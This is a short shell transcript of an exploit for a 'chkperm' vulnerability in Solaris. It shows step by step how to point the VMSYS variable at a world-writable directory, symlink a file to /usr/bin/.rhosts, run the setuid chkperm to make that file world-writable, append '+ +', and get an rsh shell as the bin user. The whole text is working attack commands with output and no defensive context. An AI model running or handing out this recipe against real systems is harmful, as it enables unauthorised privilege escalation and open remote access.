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Solaris chkperm Vulnerability

% mkdir /tmp/foo
% mkdir /tmp/foo/lib
% chmod -R 777 /tmp/foo
% setenv VMSYS /tmp/foo
% umask 0000
% ln -s /usr/bin/.rhosts /tmp/foo/lib/.facerc
% /usr/vmsys/bin/chkperm -l -u foo
% ls -l /usr/bin/.rhosts
-rw-rw-rw- 2 bin bin 0 Nov 12 09:41 .rhosts
% echo "+ +" >> /usr/bin/.rhosts
% ls -l /usr/bin/.rhosts
-rw-rw-rw- 2 bin bin 4 Nov 12 09:41 .rhosts
% rsh -l bin localhost /bin/csh -i
Warning: no access to tty; thus no job control in this shell...
% id
uid=2(bin) gid=2(bin)